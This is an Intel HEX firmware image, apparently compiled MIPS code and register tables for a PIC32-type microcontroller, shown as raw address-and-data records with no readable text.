:1064f8001800c0afffff02341400c2af1000c0afd5
:106508008919410b000000001800c28f801002009a
:106518003800c38f211062000000438c3c00c28ffa
:106528002b1062003a004014000000001800c28fcf
:10653800801002003800c38f211062000000438cd5
:106548004000c28f2b1043003100401400000000af
:106558001800c28f801002002c00c38f2110620027
:106568000000438c3000c28f2b10430028004010dd
:10657800000000001800c28f801002002c00c38f9a
:10658800211062000000438c3400c28f2b1043009e
:106598001f004014000000001800c28f8010020085
:1065a8002c00c38f211062000000438c1000c28fa2
:1065b8002b10430007004010000000001800c28f95
:1065c800801002002c00c38f211062000000428c52
:1065d8001000c2af1800c28f801002002c00c38fb9
:1065e800211062000000438c1400c28f2b1062003f
:1065f80007004010000000001800c28f8010020041
:106608002c00c38f211062000000428c1400c2af1e
:106618001800c28f010042241800c2af1800c38faf
:106628004400c28f2b106200b7ff40140000000026
:106638001400c38fffff0234040062100000000042
:106648001000c28f04004014000000002110000058
:10665800ef19410b000000001800c0afe019410b12
:10666800000000001800c28f801002003800c38f9d
:10667800211062000000438c3c00c28f2b10620086
:106688003a004014000000001800c28f8010020079
:106698003800c38f211062000000438c4000c28f75
:1066a8002b10430031004014000000001800c28f76
:1066b800801002002c00c38f211062000000438c60
:1066c8003400c28f2b1043001d004014000000004e
:1066d8001800c28f801002002c00c38f21106200a6
:1066e8000000428c212040001400c58f14000624ad
:1066f8006ab5400f000000000800401000000000cc
:106708002800c28f010043242800c3af30000324af
:10671800000043a0ce19410b000000002800c28fe2
:10672800010043242800c3af31000324000043a024
:10673800010002241c00c2afdd19410b000000005b
:106748001c00c28f09004010000000002800c28f02
:10675800000040a01800c28fff0042300100422410
:10676800ff004230ef19410b000000001800c28ff3
:10677800010042241800c2af1800c38f4400c28f22
:106788002b106200b7ff4014000000001c00c28fed
:10679800040040140000000021100000ef19410b14
:1067a800000000002800c28f000040a01800c28f1f
:1067b800ff00423021e8c0032400bf8f2000be8fb5
:0c67c8002800bd270800e00300000000ce
:020000040000fa
:020000041d04d9
:1067d400040000a00400000001000000ffffffff10
:1067e4003c0000a00100000000000000400000a0e8
:1067f4000400000000000000080000a004000000e5
:1068040001000000ffffffff440000a001000000a2
:1068140000000000450000a001000000000000008e
:10682400460000a00100000000000000470000a096
:1068340001000000000000000c0000a004000000a3
:1068440001000000801000a0480000a00400000027
:10685400000000004c0000a0040000000000000044
:10686400000400a0f213000000000000500000a08b
:1068740008000000000000005c7200a0140000008a
:1068840000000000580000a002000000000000000a
:106894005c0000a00400000000000000600000a0f4
:1068a4000400000000000000640000a002000000da
:1068b40000000000660000a00100000000000000cd
:1068c400670000a00100000000000000680000a0b4
:1068d4000400000000000000707200a0140000001a
:1068e40000000000100000a00400000001000000ef
:1068f40074010000140000a0010000000100000069
:1069040001000000150000a00100000001000000cb
:10691400010000006c0000a0010000000000000065
:10692400700000a00400000000000000740000a03b
:106934000100000000000000780000a00400000036
:10694400000000007c0000a0040000000000000023
:10695400f41700a02100000000000000800000a047
:106964000400000000000000181800a080000000cf
:1069740000000000001a00a0db020000000000007c
:10698400e07100a02000000000000000f06a00a0f8
:106994000401000000000000840000a001000000c9
:1069a40000000000880000a00400000000000000b7
:1069b4008c0000a00400000000000000900000a073
:1069c4000400000000000000940000a0010000008a
:1069d40000000000980000a0040000000000000077
:1069e4009c0000a00400000000000000c87200a089
:1069f4000c00000000000000a00000a00100000046
:106a040000000000a40000a004000000000000003a
:106a1400a80000a00400000000000000ac0000a0da
:106a24000400000000000000b00000a0040000000a
:106a340000000000b40000a00400000000000000fa
:106a4400b80000a00400000000000000bc0000a08a
:106a54000400000000000000c00000a004000000ca
:106a640000000000c40000a00400000000000000ba
:106a7400c80000a00400000000000000cc0000a03a
:106a84000400000000000000d00000a0040000008a
:106a940000000000180000a0040000000100000035
:106aa4005c5500a0d40000a0040000000000000019
:106ab400d80000a00100000000000000d90000a0e0
:106ac4000100000000000000da0000a00100000046
:106ad400000000001c0000a00800000001000000ed
:106ae40028ec019d2cec019d240000a0080000006e
:106af4000100000030ec019d34ec019ddc0000a09d
:106b04000400000000000000e00000a001000000fc
:106b140000000000987000a0800000000000000049
:106b2400e10000a00100000000000000e20000a05d
:106b34000100000000000000f46b00a00001000050
:106b440000000000e30000a00100000000000000bd
:106b5400e40000a00200000000000000540200a0b5
:106b6400a4010000010000005c0d029dd40d029df3
:106b7400600e029db40e029d2c0f029d900f029d8b
:106b8400ec0f029d4c10029da410029dfc10029d6e
:106b94005011029dac11029d0812029d5c12029dcf
:106ba400c012029d1813029d7013029de413029dee
:106bb4005c14029dd814029d4815029dd415029db3
:106bc4005016029dac16029d0817029d7017029d77
:106bd400c817029d3c18029da818029d2019029d09
:106be4009019029dec19029dc41a029d241b029d5a
:106bf400741b029dd01b029d3c1c029db41c029d73
:106c0400401d029da41d029d181e029d841e029d0e
:106c1400d81e029d241f029d781f029dcc1f029d39
:106c24002c20029d8820029df420029d4c21029d6f
:106c34009c21029dec21029d5022029d2423029d51
:106c4400b023029d2824029d9824029dec24029dd9
:106c54004025029d9825029df425029d4826029d0b
:106c64009c26029df426029d5027029da427029d86
:106c7400fc27029d5428029db828029d1829029dd4
:106c84008029029dec29029d582a029db02a029d6a
:106c9400042b029d6c2b029dc02b029d302c029d67
:106ca400bc2c029d342d029d8c2d029de02d029d55
:106cb400382e029da42e029d0c2f029d702f029d42
:106cc400d02f029d1c30029d7430029de430029d41
:106cd4004831029db031029d2c32029d7832029dd2
:106ce400d032029d2c33029d8433029de033029df9
:106cf4003c34029d9034029de434029d2c35029d67
:106d04009835029d0036029d00000000f46c00a03e
:106d14000001000000000000e80000a004000000e2
:106d240000000000f46d00a000010000000000005d
:106d3400f46e00a000010000000000002c0000a080
:106d440004000000010000000cf5019ddc1c00a003
:106d5400044d000000000000407200a01c00000070
:106d6400010000001a033000310032003300340007
:106d74003500360037003800390041004200000079
:106d8400ec0000a00400000000000000f00000a0df
:106d94000400000000000000187100a05c00000066
:106da40001000000ec36059df436059dfc36059d7a
:106db4000437059d0c37059d1437059d1c37059d2b
:106dc4002437059d2c37059d3437059d3c37059d9b
:106dd4004037059d4837059d5437059d6037059d0f
:106de4006837059d7037059d7837059d8037059d6b
:106df4008837059d9437059d9837059d0000000050
:106e0400007200a02000000001000000a037059dd2
:106e1400a837059db037059db037059db437059d4e
:106e2400b437059db437059d00000000847200a0ae
:106e340010000000010000007809059d8409059deb
:106e44009409059d7809059d947200a01000000026
:106e540001000000a009059da809059db009059d34
:106e6400b809059df40000a0040000000000000023
:106e7400f80000a00400000000000000300000a0a2
:106e8400040000000100000001000000fc0000a05c
:106e94000400000000000000340000a00100000015
:106ea40001000000ff000000000100a00400000039
:106eb40000000000040100a0040000000000000025
:106ec400080100a00100000000000000a47200a05e
:106ed40010000000010000003cc3049d4cc3049d4d
:106ee4005cc3049d6cc3049d0c0100a0040000005d
:106ef40000000000e06900a0100000000000000095
:106f0400207200a02000000001000000a0f9049df0
:106f1400acf9049db4f9049dbcf9049dc4f9049d25
:106f2400ccf9049dd4f9049ddcf9049d100100a062
:106f34000400000000000000f06900a0ff00000051
:106f440000000000b87100a024000000010000004f
:106f540058f6049d64f6049d6cf6049d74f6049d35
:106f64007cf6049d84f6049d8cf6049d94f6049da1
:106f74009cf6049db87200a0100000000000000000
:106f8400dc7100a00400000000000000f46f00a009
:106f9400a400000001000000787100a000000000bf
:106fa400787100a00900000020000000987100a082
:106fb40000000000987100a00e0201000000000013
:106fc40000000000000000000000000006020200b3
:106fd40000000000000000000000000000000000ad
:106fe400000000000000000000000000000000009d
:106ff400000000000000000000000000000000008d
:10700400000000000000000000000000000000007c
:10701400000000000000000000000000000000006c
:10702400000000000000000000000000000000005c
:107034000000000000000000f46f00a0747100a0c4
:107044004400000000000000380000a0040000001c
:107054000100000002000000b47200a0040000005f
:10706400000000000000000022222222222222220c
:020000040000fa
:020000041d04d9
:10707400f8ffbd270400beaf21f0a0030800c4af91
:107084000800c38faaaa023cabaa423419006200ca
:107094001010000042100200ffff033423186200a6
:1070a40080bf023c100643ac80bf033c00066294e0
:1070b40001000424c47b827c000662a4000000005a
:1070c4008080828ffeff401000000000808080af2f
:1070d40021e8c0030400be8f0800bd270800e003b8
:1070e40000000000e8ffbd271400bfaf1000beafd2
:1070f40021f0a0031800c4af441c410b00000000a1
:10710400e80304241d1c410f000000001800c28f76
:10711400ffff43241800c3aff9ff40140000000030
:1071240021e8c0031400bf8f1000be8f1800bd27d4
:107134000800e00300000000e0ffbd271c00bfaf13
:107144001800beaf21f0a003211080002000c2a3cc
:10715400841c410b1000c0a380bf033c1060628cf0
:107164000463027c106062ac80bf033c1060628cdc
:10717400010004248452827c106062ac2000c3931a
:1071840080bf023c651c410b206043ac4000000002
:1071940080bf023c1060428c00014230fbff401073
:1071a4000000000080bf033c1060628c8452027cab
:1071b400106062ac80bf033c00606294c47b027cbc
:1071c400006062a488bf023c5061428c04004230db
:1071d4000300401000000000881c410b0000000068
:1071e4006c8182971d1c410f2120400080bf033c0d
:1071f4000060629401000424c47b827c006062a469
:107204001000c293010042241000c2a31000c293d4
:107214000500422cd0ff40140000000080bf033c56
:107224000060629401000424c47b827c006062a438
:1072340080bf033c1060628c010004240463827ce0
:10724400106062ac80bf033c1060628c4408027c16
:10725400106062ac80bf023c1060428c010042307e
:10726400060040100000000080bf023c3060428ce9
:107274001200c2a7961c410b000000000000000091
:1072840021e8c0031c00bf8f1800be8f0800e00374
:107294002000bd27e0ffbd271c00bfaf1800beaf14
:1072a40021f0a0032000c4af2110a0002400c2a735
:1072b4002400c3976e8182971800620012100000a8
:1072c4001000c2af01000224808082af1600c0a368
:1072d400191d410b00000000e01c410b00000000e0
:1072e4008080828f2500401000000000808080afe5
:1072f4001000c28f1e004010000000001000c38f59
:107304000100023c2b106200090040140000000040
:107314001400c0a71000c38fffff023c01004234d9
:10732400211062001000c2afd01c410b000000000d
:107334001000c28f1400c2a71000c0af1400c2977f
:10734400ffff0334231062002118400080bf023c79
:10735400100643ac80bf033c000662940100042481
:10736400c47b827c000662a4e01c410b0000000088
:10737400211000001e1d410b0000000080bf023cd4
:107384001060428c01004230d5ff40100000000024
:1073940080bf033c00066294c47b027c000662a4a6
:1073a400808080af80bf023c1060428c0800423075
:1073b400230040100000000088bf033c4061629439
:1073c4000442027c406162a480bf033c006062947a
:1073d400010004240421827c006062a480bf023c7a
:1073e4003060428cff0043302000c28f000043a075
:1073f4006c81829742100200ffff4230212040003e
:107404001d1c410f0000000088bf033c40616294d2
:10741400010004240442827c406162a480bf033cd6
:10742400006062940421027c006062a41600c2938e
:10743400010042241600c2a3191d410b00000000e4
:1074440080bf023c3060428cff0043302000c28f7a
:10745400000043a0010002241e1d410b0000000097
:107464001600c2930500422c9bff4014000000004c
:107474002110000021e8c0031c00bf8f1800be8f3c
:107484002000bd270800e00300000000f8ffbd272e
:107494000400beaf21f0a0036881828f3101033c58
:1074a400002d63341b006200f40140001010000042
:1074b40012100000ffff432480bf023c406043ac35
:1074c4006881828f0f00033c404263341b006200da
:1074d400f40140001010000012100000ffff4230c1
:1074e4006c8182a76c818397aaaa023cabaa42341e
:1074f400190062001010000042100200ffff423029
:107504006e8182a721e8c0030400be8f0800bd2756
:107514000800e00300000000f8ffbd270400beaf30
:1075240021f0a00380bf033c00606294c47b027c12
:10753400006062a480bf033c1060628c4408027c3b
:10754400106062ac21e8c0030400be8f0800bd27b0
:107554000800e00300000000e0ffbd271c00bfafef
:107564001800beaf21f0a003010002241000c2af36
:1075740088bf033c40606294444a027c406062a439
:1075840088bf033c006162940442027c006162a4ef
:1075940088bf033c606162940442027c606162a41f
:1075a40088bf033c40616294010004240442827c4d
:1075b400406162a488bf033c6060629401000424bb
:1075c400444a827c606062a488bf033c2061629468
:1075d4000442027c206162a480bf023c100840acdb
:1075e40080bf023c000840ac80bf023c130003246f
:1075f400200843ac80bf023c0a000324103243ac91
:1076040080bf023c0a000324203243ac88bf033c01
:10761400c06062944408027cc06062a480bf023ce3
:1076240006000324003243ac1400c0a3911d410b97
:10763400000000001000c28f401002001000c2af12
:107644001400c293ffff43241400c3a3f9ff4014a2
:107654000000000080bf023c2008428cff00423042
:10766400211840001000c28f21106200c404033ca2
:1076740000b463341b006200f401400010100000e9
:1076840012100000708182af7081838f2cb0023c95
:10769400030b4234190062001010000002120200b1
:1076a400688182af6881828f0f00033c404263345b
:1076b4001b006200f40140001010000012100000d2
:1076c400ffff42306c8182a76c818397aaaa023c97
:1076d400abaa4234190062001010000042100200ec
:1076e400ffff42306e8182a76881828f3101033ca3
:1076f400002d63341b006200f401400010100000f0
:1077040012100000ffff432480bf023c406043ace2
:1077140080bf033c1060628c010004240463827cfb
:10772400106062ac80bf033c0060629401000424da
:107734004410827c006062a480bf033c00606294b9
:107744000400027c006062a480bf033c0060629479
:1077540001000424c418827c006062a488bf033c36
:10776400a010628c030004248420827ca01062acec
:1077740088bf033ca010628c010004240408827cae
:10778400a01062ac88bf033c3010628c0421027ce0
:10779400301062ac80bf023c30000324000643acce
:1077a40080bf023cffff0334200643ac88bf033c88
:1077b4006010628c010004240421827c601062ac9d
:1077c400212000000157410f00000000ed57410f38
:1077d4000000000021e8c0031c00bf8f1800be8f0a
:1077e4002000bd270800e0030000000000e85d4120
:1077f40000701a4000601b40e8ffbd271400baafb8
:107804001000bbaf44781b7c000c7b3700609b40ae
:107814000c00beaf0800a3af0400a2af21f0a00388
:1078240088bf033c3010628c0421027c301062acaf
:1078340080bf033c00066294c47b027c000662a401
:1078440001000224808082af21e8c0030c00be8fb7
:107854000800a38f0400a28f00606041c0000000f4
:107864001400ba8f1000bb8f00709a401800bd2717
:1078740000e8dd4100609b4018000042e8ffbd279e
:107884001400bfaf1000beaf21f0a0031800c4afb6
:107894001800c48f3bff400f0000000021e8c00324
:1078a4001400bf8f1000be8f1800bd270800e0032e
:1078b4000000000068ffbd279400bfaf9000beaf7a
:1078c40021f0a0039800c4af9c00c5af1000c227ec
:1078d400212040009c00c58f4b1e410f000000007a
:1078e400040040140000000021100000451e410b5c
:1078f400000000009800c48f1000c2272128400017
:107904008000062463b9400f000000000100022437
:1079140021e8c0039400bf8f9000be8f9800bd275c
:107924000800e0030000000078ffbd278400bfaf1b
:107934008000beaf7c00b0af21f0a0038800c4afcc
:107944008c00c5af2c00c227212040002128000054
:10795400400006246551410f000000008c00c28fd6
:10796400000043904100022405006214000000005e
:10797400010002242c00c2a3691e410b0000000078
:107984008c00c28f00004390300002240400621077
:1079940000000000211000000a1f410b000000003d
:1079a4008c00c28f01004224000043904400022452
:1079b4000500621400000000010002243b00c2a381
:1079c4007c1e410b000000008c00c28f0100422489
:1079d4000000439030000224040062100000000004
:1079e400211000000a1f410b000000008c00c28f10
:1079f4000200422421204000040005249cb5400fcd
:107a0400000000001c00c2af2c00c227100042245a
:107a1400212040001c00c58f0a0006244cb6400fec
:107a2400000000008c00c28f060042242120400088
:107a34000c000524cab5400f000000002000c2afae
:107a44002400c3af2c00c2271a00422426000324ba
:107a54001000a3af212040002000c68f2400c78f50
:107a640084b6400f000000002c00c22721204000f3
:107a740040000524abbc400f000000008800c48f08
:107a8400212800000a0006246551410f000000006f
:107a94008800c28f0a0042242120400001000524ee
:107aa400760006246551410f000000001800c0a3b1
:107ab400c21e410b000000001800c3932110600097
:107ac400c0100200211043000b0042248800c38f21
:107ad400211862001800c293c01002002c00c427b1
:107ae4002110820021206000212840000800062483
:107af400494a410f000000001800c29301004224cb
:107b04001800c2a31800c2930800422ceaff4014d4
:107b1400000000001800c0a3d91e410b00000000a3
:107b24001800d0931800c293c01002002c00c32781
:107b34002110620021204000080005242db6400fca
:107b440000000000ff0043301800c227211050003d
:107b5400540043a01800c293010042241800c2a399
:107b64001800c2930800422cedff401400000000ee
:107b74006c00c2272120400008000524a0bd400f4e
:107b8400000000002800c2af8800c28f53004324c5
:107b94002800c28f02120200212060002128400028
:107ba400080006244cb6400f000000008800c28f75
:107bb4005c004224212040002800c58f08000624d0
:107bc4004cb6400f000000001800c0a3051f410b75
:107bd400000000001800c39321106000c0100200d0
:107be40021104300650042248800c38f21106200e5
:107bf4002120400021280000080006246551410f7f
:107c0400000000001800c293010042241800c2a31f
:107c14001800c2930300422ceeff40140000000041
:107c24000100022421e8c0038400bf8f8000be8fbe
:107c34007c00b08f8800bd270800e003000000002e
:107c440058ffbd27a400bfafa000beaf21f0a00322
:107c5400a800c4afac00c5af2000c227212040005b
:107c6400ac00c58f661f410f0000000004004014e3
:107c74000000000021100000601f410b0000000004
:107c84002000c2272120400040000524abbc400f47
:107c9400000000002000c293060040100000000015
:107ca400a800c28f41000324000043a0311f410bf0
:107cb40000000000a800c28f30000324000043a08d
:107cc4002f00c2930700401000000000a800c28fdc
:107cd4000100422444000324000043a03e1f410b42
:107ce40000000000a800c28f0100422430000324d9
:107cf400000043a02000c22710004224212040009d
:107d04000a0005242db6400f000000001000c2af89
:107d1400a800c28f0200422421204000059d023c9d
:107d2400705f45241000c68fac54410f0000000062
:107d34002000c2271a0042242120400026000524e6
:107d440010b7400f000000001800c2afc3170200b4
:107d54001c00c2afa800c28f0600422421204000ac
:107d6400059d023c785f45241800c68f1c00c78f10
:107d7400ac54410f000000000100022421e8c003bc
:107d8400a400bf8fa000be8fa800bd270800e00399
:107d94000000000040ffbd27bc00bfafb800beaf6d
:107da400b400b0af21f0a003c000c4afc400c5af9d
:107db4002000c0a32100c0a32200c0a32300c0a3ad
:107dc4002400c0a32500c0a32600c0a32700c0a38d
:107dd400010002242800c2a32c00c2272120400055
:107de400c400c58fe7b8400f000000001000c0a316
:107df4008b1f410b000000001000c2931000c3272a
:107e0400211062001c004290040040100000000099
:107e1400211000001220410b000000001000c2934a
:107e2400010042241000c2a31000c2930a00422c95
:107e3400f1ff4014000000003600c3930100022447
:107e44000400621000000000211000001220410b09
:107e5400000000001000c0a3ac1f410b0000000094
:107e64001000d0931000c39321106000c0100200d2
:107e7400211043000b0042242c00c3272110620070
:107e840021204000080005242db6400f000000000a
:107e9400ff0043301000c22721105000080043a007
:107ea4001000c293010042241000c2a31000c29328
:107eb4000800422ceaff4014000000002c00c227f6
:107ec4005300422421204000080005242db6400f11
:107ed40000000000001202001400c2af2c00c227f0
:107ee4005c00422421204000080005242db6400fe8
:107ef400000000001400c38f211062001400c2af00
:107f04001800c2272120400008000524a0bd400f0e
:107f140000000000211840001400c28f0400621009
:107f240000000000211000001220410b000000009e
:107f34001000c0a3e51f410b000000001000c39314
:107f440021106000c010020021104300650042248b
:107f54002c00c327211862002000c22721206000c2
:107f64002128400009000624d352410f00000000dc
:107f74000400401000000000211000001220410bfa
:107f8400000000001000c293010042241000c2a3ac
:107f94001000c2930300422ce8ff401400000000cc
:107fa4001000c0a30d20410b000000001000c2937c
:107fb4000100432421106000c0100200211043007e
:107fc4000a0042241000c327211062001c004390c1
:107fd40001000224040062100000000021100000cf
:107fe4001220410b000000001000c293c0100200d8
:107ff400c000c38f212062001000c39321106000d1
:10800400c0100200211043000b0042242c00c3279f
:10801400211062002128400008000624494a410f2b
:10802400000000001000c293010042241000c2a30b
:108034001000c2930800422cdcff40140000000032
:108044000100022421e8c003bc00bf8fb800be8f2a
:10805400b400b08fc000bd270800e003000000009a
:1080640088ffbd277400beaf21f0a0037800c4af21
:108074002110000021e8c0037400be8f7800bd27e2
:108084000800e0030000000068ffbd279400bfafb4
:108094009000beaf21f0a0039800c4af9c00c5af10
:1080a4001000c227212040009c00c58f4b1e410fa9
:1080b4000000000004004014000000002110000033
:1080c4003a20410b000000009800c48f1000c22722
:1080d400212840008000062463b9400f00000000fe
:1080e4000100022421e8c0039400bf8f9000be8fda
:1080f4009800bd270800e0030000000078ffbd27ba
:108104008400bfaf8000beaf7c00b0af21f0a003fd
:108114008800c4af8c00c5af2c00c22721204000ca
:1081240021280000400006246551410f0000000092
:108134008c00c28f000043904100022405006214a9
:1081440000000000010002242c00c2a35e20410ba9
:10815400000000008c00c28f000043903000022415
:10816400040062100000000021100000ff20410bf9
:10817400000000008c00c28f0100422400004390e4
:1081840044000224050062140000000001000224df
:108194003b00c2a37120410b000000008c00c28f81
:1081a40001004224000043903000022404006210c5
:1081b4000000000021100000ff20410b000000001f
:1081c4008c00c28f020042242120400004000524b8
:1081d4009cb5400f000000001c00c2af2c00c22759
:1081e40010004224212040001c00c58f0a000624f0
:1081f4004cb6400f000000008c00c28f06004224e1
:10820400212040000c000524cab5400f00000000e6
:108214002000c2af2400c3af2c00c2271a0042249e
:10822400260003241000a3af212040002000c68fa5
:108234002400c78f84b6400f000000002c00c22722
:108244002120400040000524abbc400f000000008a
:108254008800c48f212800000a0006246551410fbc
:10826400000000008800c28f0a0042242120400040
:1082740001000524760006246551410f000000002a
:108284001800c0a3b720410b000000001800c393de
:1082940021106000c0100200211043000b00422492
:1082a4008800c38f211862001800c293c010020016
:1082b4002c00c427211082002120600021284000c6
:1082c40008000624494a410f000000001800c29328
:1082d400010042241800c2a31800c2930800422cd3
:1082e400eaff4014000000001800c0a3ce20410b98
:1082f400000000001800d0931800c293c0100200c0
:108304002c00c3272110620021204000080005240e
:108314002db6400f00000000ff0043301800c227b4
:1083240021105000540043a01800c29301004224bd
:108334001800c2a31800c2930800422cedff401499
:10834400000000006c00c227212040000800052422
:10835400a0bd400f000000002800c2af8800c28ffb
:10836400530043242800c28f02120200212060001f
:1083740021284000080006244cb6400f00000000ed
:108384008800c28f5c004224212040002800c58f51
:10839400080006244cb6400f000000001800c0a3db
:1083a400fa20410b000000001800c3932110600064
:1083b400c010020021104300650042248800c38fce
:1083c400211062002120400021280000080006241a
:1083d4006551410f000000001800c29301004224bf
:1083e4001800c2a31800c2930300422ceeff4014ed
:1083f400000000000100022421e8c0038400bf8fb4
:108404008000be8f7c00b08f8800bd270800e00389
:108414000000000058ffbd27a400bfafa000beaffe
:1084240021f0a003a800c4afac00c5af2000c22750
:1084340021204000ac00c58f661f410f00000000e2
:108444000400401400000000211000005521410bdd
:10845400000000002000c227212040004000052425
:10846400abbc400f000000002000c2930600401087
:1084740000000000a800c28f41000324000043a0b4
:108484002621410b00000000a800c28f3000032405
:10849400000043a02f00c29307004010000000001a
:1084a400a800c28f0100422444000324000043a01a
:1084b4003321410b00000000a800c28f01004224b8
:1084c40030000324000043a02000c22710004224ef
:1084d400212040000a0005242db6400f00000000b2
:1084e4001000c2afa800c28f020042242120400025
:1084f400059d023c805f45241000c68fac54410f9b
:10850400000000002000c2271a004224212040005d
:108514002600052410b7400f000000001800c2af69
:10852400c31702001c00c2afa800c28f0600422479
:1085340021204000059d023c885f45241800c68f19
:108544001c00c78fac54410f00000000010002243e
:1085540021e8c003a400bf8fa000be8fa800bd27e0
:108564000800e0030000000040ffbd27bc00bfafcf
:10857400b800beafb400b0af21f0a003c000c4afd8
:10858400c400c5af2000c0a32100c0a32200c0a323
:108594002300c0a32400c0a32500c0a32600c0a3b9
:1085a4002700c0a3010002242800c2a32c00c22774
:1085b40021204000c400c58fe7b8400f0000000030
:1085c4001000c0a38021410b000000001000c293e2
:1085d4001000c327211062001c00429004004010c8
:1085e40000000000211000000722410b00000000e1
:1085f4001000c293010042241000c2a31000c293d1
:108604000a00422cf1ff4014000000003600c3931e
:108614000100022404006210000000002110000088
:108624000722410b000000001000c0a3a121410b50
:10863400000000001000d0931000c39321106000cc
:10864400c0100200211043000b0042242c00c32759
:108654002110620021204000080005242db6400f9f
:1086640000000000ff0043301000c227211050001a
:10867400080043a01000c293010042241000c2a3ca
:108684001000c2930800422ceaff401400000000ce
:108694002c00c22753004224212040000800052456
:1086a4002db6400f00000000001202001400c2affb
:1086b4002c00c2275c00422421204000080005242d
:1086c4002db6400f000000001400c38f211062007b
:1086d4001400c2af1800c22721204000080005245e
:1086e400a0bd400f00000000211840001400c28ffc
:1086f4000400621000000000211000000722410b5a
:10870400000000001000c0a3da21410b00000000ab
:108714001000c39321106000c01002002110430018
:10872400650042242c00c327211862002000c227c0
:10873400212060002128400009000624d352410f63
:1087440000000000040040100000000021100000a0
:108754000722410b000000001000c29301004224d4
:108764001000c2a31000c2930300422ce8ff40147f
:10877400000000001000c0a30222410b0000000012
:108784001000c2930100432421106000c0100200b5
:10879400211043000a0042241000c3272110620064
:1087a4001c00439001000224040062100000000039
:1087b400211000000722410b000000001000c293aa
:1087c400c0100200c000c38f212062001000c393b8
:1087d40021106000c0100200211043000b0042244d
:1087e4002c00c32721106200212840000800062421
:1087f400494a410f000000001000c29301004224c6
:108804001000c2a31000c2930800422cdcff4014e5
:10881400000000000100022421e8c003bc00bf8f57
:10882400b800be8fb400b08fc000bd270800e003bd
:048834000000000040
:020000040000fa
:020000041d04d9
:10883800301088bf601088bf01000000301088bf6a
:10884800601088bf02000000301088bf601088bf29
:1088580004000000301088bf601088bf08000000c6
:10886800301088bf601088bf80000000301088bfbb
:10887800601088bf00080000301088bf601088bff3
:1088880000800000301088bf601088bf000008001a
:10889800301088bf601088bf10000000301088bffb
:1088a800601088bf00010000301088bf601088bfca
:1088b80000100000301088bf601088bf0000010061
:1088c800301088bf601088bf00001000301088bfcb
:1088d800601088bf20000000301088bf601088bf7b
:1088e80000020000301088bf601088bf0020000020
:1088f800301088bf601088bf00000200301088bfa9
:10890800601088bf00002000401088bf701088bf2a
:1089180000000020401088bf701088bf0000004091
:10892800401088bf701088bf00000080501088bfba
:10893800801088bf01000000501088bf801088bfd9
:1089480002000000301088bf601088bf400000009f
:10895800301088bf601088bf00040000301088bf46
:10896800601088bf00400000301088bf601088bfca
:1089780000000400301088bf601088bf000040006d
:10898800401088bf701088bf01000000301088bff9
:10899800601088bf00008003401088bf701088bf37
:1089a800e0000000301088bf601088bf0000001c85
:1089b800401088bf701088bf00070000301088bfc3
:1089c800601088bf00008000401088bf701088bf0a
:1089d80020000000301088bf601088bf000000042d
:1089e800401088bf701088bf00010000301088bf99
:1089f800601088bf00000002401088bf701088bf58
:108a080080000000301088bf601088bf0000001090
:108a1800401088bf701088bf00040000301088bf65
:108a2800601088bf00000001401088bf701088bf28
:108a380040000000301088bf601088bf00000008a8
:108a4800401088bf701088bf00020000301088bf37
:108a5800601088bf000000e0401088bf701088bf19
:108a680000380000301088bf601088bf0000001c6c
:108a7800401088bf701088bfe0000000401088bf19
:108a8800701088bf00070000301088bf601088bfd2
:108a980000000020401088bf701088bf0008000048
:108aa800301088bf601088bf00000004401088bfe5
:108ab800701088bf20000000401088bf701088bf69
:108ac80000010000301088bf601088bf000000401f
:108ad800401088bf701088bf00100000301088bf99
:108ae800601088bf00000008401088bf701088bf61
:108af80040000000401088bf701088bf00020000ce
:108b0800301088bf601088bf00000080401088bf08
:108b1800701088bf00200000301088bf601088bf28
:108b280000000010401088bf701088bf800000004f
:108b3800401088bf701088bf00040000301088bf44
:108b4800601088bf0000001c401088bf701088bfec
:108b580000070000401088bf701088bfe0000000c8
:108b6800501088bf801088bf38000000501088bfa0
:108b7800801088bf000e0000501088bf801088bf8a
:108b8800c0010000301088bf601088bf00000004da
:108b9800401088bf701088bf00010000401088bfd7
:108ba800701088bf20000000501088bf801088bf58
:108bb80008000000501088bf801088bf0002000025
:108bc800501088bf801088bf40000000301088bf58
:108bd800601088bf00000008401088bf701088bf70
:108be80000020000401088bf701088bf40000000dd
:108bf800501088bf801088bf10000000501088bf38
:108c0800801088bf00040000501088bf801088bf03
:108c180080000000301088bf601088bf000000107e
:108c2800401088bf701088bf00040000401088bf43
:108c3800701088bf80000000501088bf801088bf67
:108c480020000000501088bf801088bf0008000076
:108c5800501088bf801088bf00010000401088bff6
:108c6800701088bf02000000401088bf701088bfd5
:108c780004000000501088bf801088bf0400000066
:108c8800401088bf701088bf08000000401088bfdf
:108c9800701088bf10000000401088bf701088bf97
:108ca80000400000401088bf701088bf000000011d
:108cb800401088bf701088bf00800000401088bf37
:108cc800701088bf00000100401088bf701088bf76
:108cd80000000200401088bf701088bf0000040028
:108ce800401088bf701088bf00000800401088bf7f
:108cf800701088bf00001000401088bf701088bf37
:108d080000002000401088bf701088bf000040009d
:108d1800401088bf701088bf00008000401088bfd6
:108d2800701088bf00000002401088bf701088bf14
:108d380000000004401088bf701088bf00000008c1
:108d4800401088bf701088bf00000010901088bfc6
:108d58000000000002000000901088bf080000001a
:108d68000a000000901088bf1000000012000000e8
:108d7800901088bf180000001a000000a01088bfdb
:108d8800180000001a000000b01088bf180000008a
:108d98001a000000c01088bf180000001a00000068
:108da800d01088bf180000001a000000a01088bf6b
:108db8000000000002000000b01088bf00000000a2
:108dc80002000000c01088bf000000000200000080
:108dd800d01088bf0000000002000000e01088bf2b
:108de8000000000002000000a01088bf080000007a
:108df8000a000000b01088bf080000000a00000048
:108e0800c01088bf080000000a000000d01088bf0a
:108e1800080000000a000000e01088bf08000000f9
:108e28000a000000a01088bf100000001200000017
:108e3800b01088bf1000000012000000c01088bfea
:108e48001000000012000000d01088bf10000000c1
:108e580012000000e01088bf10000000120000009f
:108e6800e01088bf180000001a000000001188bf39
:108e7800180000001a000000f01088bf0000000071
:108e880002000000101188bf00000000020000006e
:108e9800f01088bf0000000002000000101188bf19
:108ea8000000000002000000001188bf1800000048
:108eb8001a000000501188bf080000000a000000d6
:108ec800501188bf180000001a000000501188bf18
:108ed8001000000012000000f01088bf0800000019
:108ee8000a000000101188bf080000000a000000f6
:108ef800f01088bf0000000002000000001188bfc9
:108f0800180000001a000000101188bf00000000bf
:108f180002000000f01088bf1000000012000000de
:108f2800f01088bf180000001a000000001188bf68
:108f38000000000002000000001188bf08000000c7
:108f48000a000000001188bf100000001200000095
:108f5800101188bf1000000012000000101188bf17
:108f6800180000001a000000201188bf000000004f
:108f780002000000201188bf080000000a0000005d
:108f8800201188bf1000000012000000201188bfc7
:108f9800180000001a000000301188bf000000000f
